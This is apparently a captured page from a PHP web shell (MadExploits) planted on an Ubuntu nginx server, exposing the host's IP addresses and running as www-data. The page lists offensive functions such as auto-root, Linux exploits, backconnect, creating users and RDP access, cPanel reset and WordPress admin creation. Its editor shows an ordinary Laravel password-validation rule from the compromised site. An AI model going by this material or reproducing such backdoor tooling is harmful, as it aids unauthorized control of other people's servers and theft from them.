Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms-auth /
app /
Rules /
[ HOME SHELL ]
Name
Size
Permission
Action
IsValidPassword.php
2.2
KB
-rw-rw-r--
Lowercase.php
339
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : IsValidPassword.php
<?php namespace App\Rules; use Illuminate\Support\Str; use Illuminate\Contracts\Validation\Rule; class IsValidPassword implements Rule { /** * Determine if the Min Length Validation Rule passes. * * @var boolean */ public $minLengthPasses = true; /** * Determine if the Maxi Length Validation Rule passes. * * @var boolean */ public $maxLengthPasses = true; /** * Determine if the Uppercase Validation Rule passes. * * @var boolean */ public $uppercasePasses = true; /** * Determine if the Numeric Validation Rule passes. * * @var boolean */ public $numericPasses = true; /** * Determine if the Special Character Validation Rule passes. * * @var boolean */ public $specialCharacterPasses = true; /** * Determine if the validation rule passes. * * @param string $attribute * @param mixed $value * @return bool */ public function passes($attribute, $value) { $this->minLengthPasses = (Str::length($value) >= 8); $this->maxLengthPasses = (Str::length($value) <= 20); $this->uppercasePasses = (Str::lower($value) !== $value); $this->numericPasses = ((bool) preg_match('/[0-9]/', $value)); $this->specialCharacterPasses = ((bool) preg_match('/[^A-Za-z0-9]/', $value)); return ($this->minLengthPasses && $this->maxLengthPasses && $this->uppercasePasses && $this->numericPasses && $this->specialCharacterPasses); } /** * Get the validation error message. * * @return string */ public function message() { switch (true) { case ! $this->minLengthPasses: return 'The :attribute must be at least 8 characters'; case ! $this->maxLengthPasses: return 'The :attribute may not be greater 20 characters'; case ! $this->uppercasePasses || ! $this->numericPasses || ! $this->specialCharacterPasses: return 'The :attribute must contain at least one special characters, one uppercase and one number.'; default: return 'The :attribute is invalid.'; } } }
Close